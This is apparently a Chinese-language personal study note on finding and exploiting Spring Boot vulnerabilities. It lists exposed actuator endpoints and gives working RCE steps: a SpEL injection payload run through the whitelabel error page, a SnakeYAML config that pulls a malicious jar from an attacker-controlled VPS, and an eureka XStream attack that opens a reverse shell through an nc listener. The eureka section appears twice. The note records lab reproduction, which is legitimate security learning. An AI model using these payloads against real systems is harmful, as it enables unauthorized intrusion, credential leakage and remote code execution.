0x01 spring boot
Spring boot 是一个框架。在spring 和spring MVC 的基础上发展而来。spring 是后端开发的一个框架,spring MVC是Spring的一个模块,用于开发WEB应用和网络接口。
个人理解:后端利用spring boot框架,便于前端调用api。
0x02 挖掘spring boot
直接访问以下几个路由,验证漏洞是否存在:
/api-docs /v2/api-docs /swagger-ui.html
一些可能会遇到的接口路由变形:
/api.html /sw /swagger-ui.html /api/swagger-ui.html /template/swagger-ui.html /spring-security-rest /api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html /actuator/jolokia (建议使用dirsearch)
等等。
0x03 配置不当而暴露的路由 可造成信息泄露等
主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
参考 production-ready-endpoints 和 spring-boot.txt,可能因为配置不当而暴露的默认内置路由可能会有:
/actuator/auditevents/autoconfig/beans/caches/conditions/configprops/docs/dump/env/flyway/health/heapdump/httptrace/info/intergrationgraph/jolokia/logfile/loggers/liquibase/metrics/mappings/prometheus/refresh/scheduledtasks/sessions/shutdown/trace/threaddump /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream
/env
、/actuator/env
GET 请求/env
会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文; 同时有一定概率可以通过 POST 请求/env
接口设置一些属性,触发相关 RCE 漏洞。/jolokia
通过/jolokia/list
接口寻找可以利用的 MBean,触发相关 RCE 漏洞;/trace
一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息
(从前端代码中找数据传入后端的方法,比如webpack之类的,还要注意调用api的路径)
0x04 获取被星号脱敏的密码的明文
(个人理解:通过 spring boot 设计的缺陷)
利用方式参考:LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
(未做详细测试。。)
0x05 远程代码执行漏洞
whitelabel error page SpEL RCE
利用条件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
利用方法:
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx
,页面会报状态码为 500 的错误: Whitelabel Error Page
,则后续 payload 都将会在参数 id 处尝试。
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
# coding: utf-8 result = "" target = 'notepad.exe' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
执行notepad.exe 命令
Payload:
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]
{0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65}))}
漏洞原理:
- spring boot 处理参数值出错,流程进入
org.springframework.util.PropertyPlaceholderHelper
类中 - 此时 URL 中的参数值会用
parseStringValue
方法进行递归解析 - 其中
${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
漏洞分析:
SpringBoot SpEL表达式注入漏洞-分析与复现
漏洞环境:
repository/springboot-spel-rce
正常访问:
http://127.0.0.1:9091/article?id=66
执行 notepad.exe 命令:
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6e,0x6f,0x74,0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65}))}
遇到的问题
ERROR 11056 — [ main] o.s.boot.SpringApplication : Application startup failed
在file–project structure–project settings–project sdk调整为较低版本 ;project language level 为sdk default
参考文章:
LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
Error:java: 无效的源发行版: 9(已解决) – 云+社区 – 腾讯云 (tencent.com)
(40条消息) Spring-boot远程代码执行系列(whitelabel error page SpEL RCE)_GGyao的博客-CSDN博客
spring cloud SnakeYAML RCE
利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标依赖的
spring-cloud-starter
版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法:
步骤一: 托管 yml 和 jar 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在网站根目录下放置后缀为 yml
的文件 example.yml
,内容如下:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ]
在网站根目录下放置后缀为 jar
的文件 example.jar
,内容是要执行的代码,代码编写及编译方式参考 yaml-payload。
步骤二: 设置 spring.cloud.bootstrap.location 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
步骤三: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞原理:
- spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
- refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
- SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
- 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
- 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
- 实例化类时执行恶意代码,造成 RCE 漏洞
漏洞分析:
Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
漏洞环境:
repository/springcloud-snakeyaml-rce
正常访问:
http://127.0.0.1:9092/env
0x03:eureka xstream deserialization RCE
利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client
< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法:
步骤一:架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
步骤二:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 443
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤四:刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞原理:
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
漏洞分析:
Spring Boot Actuator从未授权访问到getshell
漏洞环境:
repository/springboot-eureka-xstream-rce
正常访问:
http://127.0.0.1:9093/env
分析复现过程,模拟了三个部分,客户端(攻击者),服务器1(被攻击),服务器2(被攻击者控制的),客户端通过修改服务器某个对象的值(使其访问服务器2),提前在服务器2部署文件,利用文件再去调用执行代码。
复现环境:kali 2020 ,win10
在kali上开放一个端口,模拟服务器2(受控服务器),部署example.yml(用于被受攻击服务器访问,调用.jar文件执行代码), yaml-payload.jar(执行代码)
为了从win10访问,我将application.properties中的server.address修改成了虚拟机地址。
这个POST /env 后的结果,spring.cloud.bootstrap.location的值指向了服务器2(受控服务器)
可以看到已经执行了命令(curl http://vm-ip:port/abc)访问了一个不存在的东西。
0x03:eureka xstream deserialization RCE
利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client
< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法:
步骤一:架设响应恶意 XStream payload 的网站
提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
步骤二:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
nc -lvp 443
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤四:刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded #实际测试中 我打这个代码反而不行删了才管用。。
spring 2.x
POST /actuator/refresh
Content-Type: application/json
漏洞原理:
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
漏洞分析:
Spring Boot Actuator从未授权访问到getshell
漏洞环境:
repository/springboot-eureka-xstream-rce
正常访问:
http://127.0.0.1:9093/env
POST两个数据包后(修改配置、刷新配置)